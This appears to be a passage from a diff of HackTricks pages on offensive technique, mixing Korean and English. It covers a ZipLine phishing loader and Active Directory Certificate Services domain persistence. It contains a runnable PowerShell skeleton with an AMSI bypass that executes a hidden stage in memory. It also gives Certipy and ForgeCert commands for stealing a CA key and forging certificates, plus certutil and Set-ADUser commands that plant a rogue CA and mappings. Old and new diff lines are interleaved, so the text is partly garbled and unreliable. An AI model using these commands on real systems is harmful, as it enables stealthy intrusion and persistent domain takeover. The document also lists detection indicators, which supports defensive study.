1) Desktop, Downloads, Documents, %TEMP%, %ProgramData% 및 현재 작업 디렉터리의 부모 등 일반 경로에서 원본 ZIP을 찾습니다.
2) ZIP 바이트를 읽어 하드코딩된 마커(예: xFIQCV)를 찾습니다. 마커 이후의 모든 것이 임베디드된 PowerShell 페이로드입니다.
3) ZIP을 %ProgramData%로 복사하고 그곳에서 압축을 풀며, 정상처럼 보이도록 미끼 .docx를 엽니다.
4) 현재 프로세스에 대해 AMSI를 우회: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) 다음 단계의 난독화를 해제(예: 모든 # 문자 제거)하고 메모리에서 실행합니다.
임베디드 스테이지를 추출하고 실행하기 위한 예시 PowerShell 스켈레톤:
Example PowerShell skeleton to carve and run the embedded stage:
```powershell
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
@ -190,24 +190,33 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code
```
노트
Notes
- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA).
- 다음 단계에서는 종종 base64/XOR shellcode를 복호화한 후 디스크 흔적을 최소화하기 위해 Reflection.Emit + VirtualAlloc를 통해 실행한다.
- The next stage frequently decrypts base64/XOR shellcode and executes it via Reflection.Emit + VirtualAlloc to minimize disk artifacts.
같은 체인에서 사용된 Persistence
Persistence used in the same chain
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
{{#endref}}
헌팅/IOCs
Hunting/IOCs
- ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data.
- .lnk that enumerates parent/user folders to locate the ZIP and opens a decoy document.
- AMSI 변조: [System.Management.Automation.AmsiUtils]::amsiInitFailed 사용.
- 장기간 실행되는 비즈니스 스레드가 신뢰된 PaaS 도메인에 호스팅된 링크로 끝남.
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Long-running business threads ending with links hosted under trusted PaaS domains.
## 참고자료
## Windows files to steal NTLM hashes
다음 페이지에서 **places to steal NTLM creds**를 확인하세요:
{{#ref}}
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
## References
- [Check Point Research ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
- [Hijack the TypeLib New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)

View File

@ -2,26 +2,26 @@
{{#include ../../../banners/hacktricks-training.md}}
**This is a summary of the domain persistence techniques shared in [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Check it for further details.
**이 문서는 [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) 에서 공유된 도메인 지속성 기법들의 요약입니다. 자세한 내용은 해당 문서를 확인하세요.**
## 도난당한 CA 인증서로 인증서 위조 - DPERSIST1
## Forging Certificates with Stolen CA Certificates - DPERSIST1
인증서가 CA 인증서인지 어떻게 판단하나?
어떻게 해당 인증서가 CA 인증서인지 알 수 있을까요?
다음 조건들이 충족되면 해당 인증서는 CA 인증서로 판단할 수 있다:
다음 조건들이 충족되면 인증서가 CA 인증서임을 판별할 수 있습니다:
- 인증서는 CA 서버에 저장되어 있으며, 개인 키는 OS가 지원하는 경우 머신의 DPAPI 또는 TPM/HSM 같은 하드웨어로 보호된다.
- 인증서의 Issuer 및 Subject 필드가 CA의 distinguished name과 일치다.
- CA 인증서에만 "CA Version" 확장(extension)이 존재한다.
- 인증서에 Extended Key Usage (EKU) 필드가 없다.
- 인증서는 CA 서버에 저장되며, 해당 머신의 DPAPI로 보호되거나 운영체제가 지원하면 TPM/HSM 같은 하드웨어로 보호된 개인키와 함께 저장됩니다.
- 인증서의 Issuer 및 Subject 필드가 CA의 distinguished name과 일치합니다.
- "CA Version" extension이 오직 CA 인증서에만 존재합니다.
- 인증서에 Extended Key Usage (EKU) 필드가 없습니다.
이 인증서의 개인 키를 추출하기 위한 지원되는 방법은 CA 서버의 내장 GUI를 통한 `certsrv.msc` 도구이다. 그러나 이 인증서는 시스템에 저장된 다른 인증서와 차이가 없으므로, [THEFT2 기법](certificate-theft.md#user-certificate-theft-via-dpapi-theft2)과 같은 방법으로도 추출할 수 있다.
이 인증서의 개인키를 추출하려면 CA 서버에서 내장 GUI를 통해 `certsrv.msc` 도구를 사용하는 것이 지원되는 방법입니다. 그럼에도 불구하고, 이 인증서는 시스템에 저장된 다른 인증서들과 본질적으로 다르지 않으므로 [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2)와 같은 방법을 사용해 추출할 수 있습니다.
다음 명령어로 Certipy를 사용해 인증서와 개인 키를 얻을 수도 있다:
인증서와 개인키는 또한 Certipy를 사용하여 다음 명령으로 얻을 수 있습니다:
```bash
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
```
CA 인증서와 개인 키를 `.pfx` 형식으로 확보하면, [ForgeCert](https://github.com/GhostPack/ForgeCert)과 같은 도구를 사용해 유효한 인증서를 생성할 수 있습니다:
CA 인증서와 개인 키를 `.pfx` 형식으로 확보한 후, [ForgeCert](https://github.com/GhostPack/ForgeCert) 같은 도구를 사용하여 유효한 인증서를 생성할 수 있습니다:
```bash
# Generating a new certificate with ForgeCert
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
@ -38,17 +38,17 @@ certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
> [!WARNING]
> 인증서 위조 대상 사용자는 프로세스가 성공하려면 Active Directory에서 활성 상태이며 인증할 수 있어야 합니다. krbtgt와 같은 특수 계정에 대한 인증서 위조는 효과가 없습니다.
이 위조된 인증서는 지정된 만료일까지 그리고 **root CA 인증서가 유효한 동안**(보통 5년에서 **10년 이상**) **유효**합니다. 또한 **machines**에도 유효하므로 **S4U2Self**와 결합하면 공격자는 CA 인증서가 유효한 한 **어떤 도메인 머신에서든 영구성을 유지할 수 있습니다**.\
또한, 이 방법으로 생성된 **인증서들은** CA가 인지하지 못하기 때문에 **철회할 수 없습니다**.
이 위조된 인증서는 지정된 종료 날짜까지 그리고 **루트 CA 인증서가 유효한 한** (보통 5년에서 **10년 이상**) **유효**합니다. 또한 **machines**에도 유효하므로, **S4U2Self**와 결합하면 공격자는 CA 인증서가 유효한 동안 **any domain machine에서 persistence를 유지할 수 있습니다**.\
더욱이, 이 방법으로 생성된 **certificates generated**는 CA가 이를 인지하지 못하므로 **취소할 수 없습니다**.
### Operating under Strong Certificate Mapping Enforcement (2025+)
### Strong Certificate Mapping Enforcement (2025+) 하에서의 운영
2025년 2월 11일 이후(KB5014754 배포 후), 도메인 컨트롤러는 certificate mappings에 대해 기본적으로 **Full Enforcement**로 동작합니다. 실무적으로 이는 위조된 인증서가 다음 중 하나를 만족해야 함을 의미합니다:
2025년 2월 11일( KB5014754 배포 이후)부터 도메인 컨트롤러는 인증서 매핑에 대해 기본적으로 **Full Enforcement**를 적용합니다. 실무적으로 이는 위조된 인증서가 다음 중 하나를 만족해야 함을 의미합니다:
- 대상 계정에 대한 강한 바인딩을 포함해야 합니다(예: SID security extension), 또는
- 대상 객체의 `altSecurityIdentities` 속성에 강력하고 명시적인 매핑이 설정되어야 합니다.
- 대상 계정에 대한 강력한 바인딩을 포함할 것(예: SID security extension), 또는
- 대상 객체의 `altSecurityIdentities` 속성에 강력하고 명시적인 매핑과 짝을 이루고 있을 것.
지속성을 위한 신뢰할 수 있는 접근법은 도난당한 Enterprise CA에 체인된 위조 인증서를 발급한 다음 피해자 principal에 강력한 명시적 매핑을 추가하는 것입니다:
지속성을 위한 신뢰할 수 있는 접근법은 도난당한 Enterprise CA에 체인된 위조 인증서를 발급한 다음 피해자 주체(victim principal)에 강력한 명시적 매핑을 추가하는 것입니다:
```powershell
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
@ -57,14 +57,15 @@ $Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
```
Notes
- 만약 SID security extension을 포함하는 위조된 인증서를 만들 수 있다면, 이러한 인증서는 Full Enforcement 하에서도 암묵적으로 매핑됩니다. 그렇지 않다면 명시적이고 강력한 매핑을 선호하세요. 명시적 매핑에 대해서는 [account-persistence](account-persistence.md)를 참조하세요.
- 여기서 Revocation은 방어자에게 도움이 되지 않습니다: 위조된 인증서는 CA 데이터베이스에 등록되어 있지 않으므로 폐기할 수 없습니다.
- If you can craft forged certificates that include the SID security extension, those will map implicitly even under Full Enforcement. Otherwise, prefer explicit strong mappings. See
[account-persistence](account-persistence.md) for more on explicit mappings.
- 취소(revocation)는 여기서 방어자에게 도움이 되지 않습니다: 위조된 인증서는 CA 데이터베이스에 알려져 있지 않으므로 취소될 수 없습니다.
## Trusting Rogue CA Certificates - DPERSIST2
## 악성 CA 인증서 신뢰 - DPERSIST2
The `NTAuthCertificates` object is defined to contain one or more **CA certificates** within its `cacertificate` attribute, which Active Directory (AD) utilizes. The verification process by the **domain controller** involves checking the `NTAuthCertificates` object for an entry matching the **CA specified** in the Issuer field of the authenticating **certificate**. Authentication proceeds if a match is found.
The `NTAuthCertificates` object is defined to contain one or more **CA certificates** within its `cacertificate` attribute, which Active Directory (AD) utilizes. **도메인 컨트롤러**에 의한 검증 과정은 인증하는 **certificate**의 Issuer 필드에 지정된 **CA**와 일치하는 항목이 `NTAuthCertificates` 객체에 있는지 확인하는 것입니다. 일치하는 항목이 발견되면 인증이 진행됩니다.
A self-signed CA certificate can be added to the `NTAuthCertificates` object by an attacker, provided they have control over this AD object. Normally, only members of the **Enterprise Admin** group, along with **Domain Admins** or **Administrators** in the **forest roots domain**, are granted permission to modify this object. They can edit the `NTAuthCertificates` object using `certutil.exe` with the command `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, or by employing the [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
공격자가 이 AD 객체를 제어할 수 있다면 self-signed CA certificate를 `NTAuthCertificates` 객체에 추가할 수 있습니다. 일반적으로 이 객체를 수정할 권한은 **Enterprise Admin** 그룹 구성원과 **forest roots domain**의 **Domain Admins** 또는 **Administrators**에게만 부여됩니다. 이들은 `certutil.exe`를 사용하여 `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA` 명령으로 `NTAuthCertificates` 객체를 편집하거나, [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool)을 사용할 수 있습니다.
Additional helpful commands for this technique:
```bash
@ -77,34 +78,34 @@ certutil -enterprise -delstore NTAuth <Thumbprint>
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
```
This capability is especially relevant when used in conjunction with a previously outlined method involving ForgeCert to dynamically generate certificates.
이 기능은 ForgeCert를 사용해 동적으로 인증서를 생성하는 앞에서 설명한 방법과 함께 사용할 때 특히 관련성이 큽니다.
> Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in **Full Enforcement**, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in `altSecurityIdentities`). See {{#ref}}account-persistence.md{{#endref}}.
> Post-2025 매핑 고려사항: NTAuth에 rogue CA를 배치하면 발행 CA에 대한 신뢰만 설정됩니다. DC가 **Full Enforcement** 상태일 때 로그온용으로 leaf 인증서를 사용하려면, 해당 leaf에 SID 보안 확장이 포함되어 있거나 대상 객체에 강력한 명시적 매핑(예: Issuer+Serial을 `altSecurityIdentities`에 설정)이 있어야 합니다. 자세한 내용은 {{#ref}}account-persistence.md{{#endref}}를 참조하십시오.
## 악의적 잘못된 구성 - DPERSIST3
AD CS 구성 요소에 대한 **security descriptor** 변경을 통한 **persistence** 기회는 풍부합니다. "[Domain Escalation](domain-escalation.md)" 섹션에 설명된 변경 사항은 권한이 상승된 공격자가 악의적으로 구현할 수 있습니다. 여기에는 다음과 같은 민감한 구성 요소에 "control rights"(예: WriteOwner/WriteDACL/etc.)를 추가하는 작업이 포함됩니다:
AD CS 구성요소의 보안 설명자(security descriptor)를 수정하여 **persistence**를 얻을 수 있는 기회는 많습니다. "[Domain Escalation](domain-escalation.md)" 섹션에 설명된 변경사항들은 도메인에서 권한이 상승된 공격자에 의해 악의적으로 구현될 수 있습니다. 여기에는 다음과 같은 민감한 구성요소에 대한 "control rights"(예: WriteOwner/WriteDACL/etc.) 추가가 포함됩니다:
- **CA 서버의 AD computer** 객체
- **CA 서버의 RPC/DCOM 서버**
- **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** 내의 모든 **하위 AD 객체 또는 컨테이너**(예: Certificate Templates 컨테이너, Certification Authorities 컨테이너, NTAuthCertificates 객체 등)
- 기본적으로 또는 조직에서 AD CS 제어 권한이 위임된 **AD 그룹들**(예: 내장된 Cert Publishers 그룹 및 그 멤버들)
- **CA servers AD computer** object
- **CA servers RPC/DCOM server**
- **CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>** 내의 모든 **후손 AD 객체나 컨테이너**(예: Certificate Templates container, Certification Authorities container, `NTAuthCertificates` object 등)
- 조직이나 기본값으로 **AD CS를 제어하도록 위임된 AD 그룹**(예: 빌트인 Cert Publishers 그룹 및 해당 멤버들)
악의적 구현의 한 예로는 도메인에서 **elevated permissions**를 가진 공격자가 기본 **`User`** 인증서 템플릿에 **`WriteOwner`** 권한을 추가하고 해당 권한의 주체를 자신으로 지정하는 경우가 있습니다. 이를 악용하기 위해 공격자는 먼저 **`User`** 템플릿의 소유권을 자신으로 변경합니다. 그 다음 템플릿에서 **`mspki-certificate-name-flag`**를 **1**로 설정하여 **`ENROLLEE_SUPPLIES_SUBJECT`**을 활성화하고, 요청에 Subject Alternative Name을 제공할 수 있게 합니다. 이후 공격자는 해당 **template**으로 **enroll**하여 대체 이름으로 **domain administrator** 이름을 선택하고, 획득한 인증서를 DA로서 인증에 사용합니다.
악의적 구현의 예로는 도메인에서 **권한이 상승된** 공격자가 기본 **`User`** certificate template에 대해 자신을 주체로 하여 **`WriteOwner`** 권한을 추가하는 상황이 있습니다. 이를 악용하려면 공격자는 먼저 **`User`** 템플릿의 소유권을 자신으로 변경합니다. 그 다음 템플릿에서 **`mspki-certificate-name-flag`**를 **1**로 설정하여 **`ENROLLEE_SUPPLIES_SUBJECT`**를 활성화하면, 사용자가 요청 시 Subject Alternative Name을 제공할 수 있습니다. 이후 공격자는 해당 **template**로 **enroll**하여 alternative name으로 도메인 관리자 이름을 선택하고, 획득한 인증서를 DA로서 인증에 사용할 수 있습니다.
공격자가 장기적인 도메인 persistence를 위해 설정할 수 있는 실용적인 설정들(자세한 내용 및 탐지는 {{#ref}}domain-escalation.md{{#endref}} 참조):
장기간 도메인 지속성 유지를 위해 공격자가 설정할 수 있는 실무적 설정들(전체 세부사항 및 탐지 방법은 {{#ref}}domain-escalation.md{{#endref}} 참조):
- 요청자에게서 SAN을 허용하는 CA 정책 플래그(예: `EDITF_ATTRIBUTESUBJECTALTNAME2` 활성화). 이는 ESC1 유사 경로를 계속 악용 가능하게 합니다.
- 인증 가능 발급을 허용하는 템플릿 DACL 또는 설정(예: Client Authentication EKU 추가, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 활성화).
- 수비자가 정리 시도를 할 경우 악성 발급자를 지속적으로 다시 도입하기 위해 `NTAuthCertificates` 객체나 CA 컨테이너를 제어.
- 요청자(requesters)로부터 SAN을 허용하는 CA 정책 플래그(예: `EDITF_ATTRIBUTESUBJECTALTNAME2` 활성화). 이는 ESC1-like 경로를 계속 악용 가능하게 합니다.
- 인증 가능 발급을 허용하는 템플릿 DACL 또는 설정(예: Client Authentication EKU 추가, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 활성화).
- 수비측이 정리 시도를 하더라도 rogue issuer를 지속적으로 재도입할 수 있도록 `NTAuthCertificates` 객체 또는 CA 컨테이너를 제어.
> [!TIP]
> KB5014754 이후 강화된 환경에서는 이러한 잘못된 구성에 명시적 강력 매핑(`altSecurityIdentities`)을 결합하면, DC가 강력한 매핑을 적용하더라도 발급되거나 위조된 인증서를 계속 사용할 수 있게 됩니다.
> KB5014754 이후 하드닝된 환경에서는 이러한 잘못된 구성에 명시적이고 강력 매핑(`altSecurityIdentities`)을 결합하면, DC가 강력한 매핑을 적용하더라도 발급하거나 위조한 인증서를 계속 사용할 수 있습니다.
## References
- Microsoft KB5014754 Windows 도메인 컨트롤러의 인증서 기반 인증 변경사항(시행 일정 및 강력한 매핑). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
- Certipy Command Reference 및 forge/auth 사용법. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
- Microsoft KB5014754 Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
- Certipy Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
{{#include ../../../banners/hacktricks-training.md}}